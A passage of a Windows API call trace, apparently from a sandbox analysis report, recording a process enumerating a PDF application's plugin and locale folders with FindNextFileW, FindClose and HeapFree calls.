ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 0 [0265.880] FindClose (in: hFindFile=0x6ebcf0 | out: hFindFile=0x6ebcf0) returned 1 [0265.880] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0265.880] FindNextFileW (in: hFindFile=0x6ebcb0, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x9838, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugin.js", cAlternateFileName="")) returned 1 [0265.880] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0265.880] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2e420 | out: lpFindFileData=0x3b2e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0265.880] FindClose (in: hFindFile=0x6eb8b0 | out: hFindFile=0x6eb8b0) returned 1 [0265.880] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0265.882] FindNextFileW (in: hFindFile=0x6ebc30, lpFindFileData=0x3b2e69c | out: lpFindFileData=0x3b2e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="add-account-select", cAlternateFileName="ADD-AC~2")) returned 1 [0265.885] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0265.885] FindNextFileW (in: hFindFile=0x6ebcb0, lpFindFileData=0x3b2e420 | out: lpFindFileData=0x3b2e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0265.885] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0265.885] FindNextFileW (in: hFindFile=0x6ebcb0, lpFindFileData=0x3b2e420 | out: lpFindFileData=0x3b2e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0265.885] FindClose (in: hFindFile=0x6ebcb0 | out: hFindFile=0x6ebcb0) returned 1 [0265.885] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0265.885] FindNextFileW (in: hFindFile=0x6ebc30, lpFindFileData=0x3b2e69c | out: lpFindFileData=0x3b2e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd61dea, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd61dea, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefd61dea, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="aicuc", cAlternateFileName="")) returned 1 [0265.885] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0265.885] FindNextFileW (in: hFindFile=0x6ebcb0, lpFindFileData=0x3b2e420 | out: lpFindFileData=0x3b2e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd61dea, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd61dea, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdd469f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0265.887] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0265.887] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd8802e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd8802e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdd469f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0 [0265.887] FindClose (in: hFindFile=0x6eb7f0 | out: hFindFile=0x6eb7f0) returned 1 [0265.888] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0265.888] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefdd469f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdd469f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdd469f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x266, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="warning.png", cAlternateFileName="")) returned 1 [0265.888] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0265.888] FindNextFileW (in: hFindFile=0x6ebcb0, lpFindFileData=0x3b2e420 | out: lpFindFileData=0x3b2e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefdd469f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdd469f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe46ba5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0266.080] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0266.080] FindNextFileW (in: hFindFile=0x6eb830, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1 [0266.083] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0266.083] FindNextFileW (in: hFindFile=0x6eb830, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1 [0266.084] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0266.084] FindNextFileW (in: hFindFile=0x6eb830, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1 [0266.085] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0266.085] FindNextFileW (in: hFindFile=0x6eb830, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefdfa6fb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdfa6fb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdfa6fb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1 [0266.085] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0266.085] FindNextFileW (in: hFindFile=0x6eb830, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe46ba5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe46ba5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe46ba5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0266.086] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0266.086] FindNextFileW (in: hFindFile=0x6eb830, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1 [0266.086] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0266.086] FindNextFileW (in: hFindFile=0x6eb830, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefdfa6fb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdfa6fb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdfa6fb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1 [0266.087] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0266.087] FindNextFileW (in: hFindFile=0x6eb830, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefdfa6fb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdfa6fb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdfa6fb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1 [0266.088] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0266.088] FindNextFileW (in: hFindFile=0x6eb830, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe46ba5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe46ba5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe46ba5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1 [0266.088] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0266.088] FindNextFileW (in: hFindFile=0x6eb830, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1 [0266.089] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0266.089] FindNextFileW (in: hFindFile=0x6eb830, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1 [0266.089] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0266.089] FindNextFileW (in: hFindFile=0x6eb830, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefdd469f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdd469f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdd469f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1 [0266.089] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0266.089] FindNextFileW (in: hFindFile=0x6eb830, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefdd469f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdd469f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdd469f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x41a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0266.090] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0266.090] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe46ba5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe46ba5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe46ba5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugins", cAlternateFileName="")) returned 1 [0266.209] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0266.209] FindNextFileW (in: hFindFile=0x6eb830, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="selection-action-plugins", cAlternateFileName="SELECT~1")) returned 1 [0266.215] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54f0060 | out: hHeap=0x630000) returned 1 [0266.216] FindNextFileW (in: hFindFile=0x64a398, lpFindFileData=0x3b2dcac | out: lpFindFileData=0x3b2dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="epdf", cAlternateFileName="")) returned 1 [0266.216] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54f0060 | out: hHeap=0x630000) returned 1 [0266.216] FindNextFileW (in: hFindFile=0x64a398, lpFindFileData=0x3b2dcac | out: lpFindFileData=0x3b2dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="epdf", cAlternateFileName="")) returned 0 [0266.216] FindClose (in: hFindFile=0x64a398 | out: hFindFile=0x64a398) returned 1 [0266.216] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0266.216] FindNextFileW (in: hFindFile=0x6eb830, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="selection-action-plugins", cAlternateFileName="SELECT~1")) returned 0 [0266.216] FindClose (in: hFindFile=0x6eb830 | out: hFindFile=0x6eb830) returned 1 [0266.217] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0266.217] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe46ba5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe46ba5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe46ba5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugins", cAlternateFileName="")) returned 0 [0266.217] FindClose (in: hFindFile=0x6ebcf0 | out: hFindFile=0x6ebcf0) returned 1 [0266.217] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0266.217] FindNextFileW (in: hFindFile=0x6ebcb0, lpFindFileData=0x3b2e420 | out: lpFindFileData=0x3b2e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefdd469f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdd469f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe46ba5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0266.217] FindClose (in: hFindFile=0x6ebcb0 | out: hFindFile=0x6ebcb0) returned 1 [0266.217] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0266.219] FindNextFileW (in: hFindFile=0x6ebc30, lpFindFileData=0x3b2e69c | out: lpFindFileData=0x3b2e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="combinepdf", cAlternateFileName="COMBIN~1")) returned 1 [0266.222] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0266.222] FindNextFileW (in: hFindFile=0x649fd8, lpFindFileData=0x3b2e420 | out: lpFindFileData=0x3b2e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0266.566] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0266.566] FindNextFileW (in: hFindFile=0x6ebcb0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf024cb1c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf024cb1c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf024cb1c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0 [0266.566] FindClose (in: hFindFile=0x6ebcb0 | out: hFindFile=0x6ebcb0) returned 1 [0266.566] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0266.566] FindNextFileW (in: hFindFile=0x64a398, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf024cb1c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf024cb1c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf024cb1c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themes", cAlternateFileName="")) returned 0 [0266.566] FindClose (in: hFindFile=0x64a398 | out: hFindFile=0x64a398) returned 1 [0266.586] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0266.586] FindNextFileW (in: hFindFile=0x649fd8, lpFindFileData=0x3b2e420 | out: lpFindFileData=0x3b2e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02bf3c0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02bf3c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02bf3c0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0266.618] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0266.619] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-es", cAlternateFileName="")) returned 1 [0266.619] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0266.619] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02bf3c0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02bf3c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02bf3c0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-cz", cAlternateFileName="")) returned 1 [0266.620] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0266.620] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: 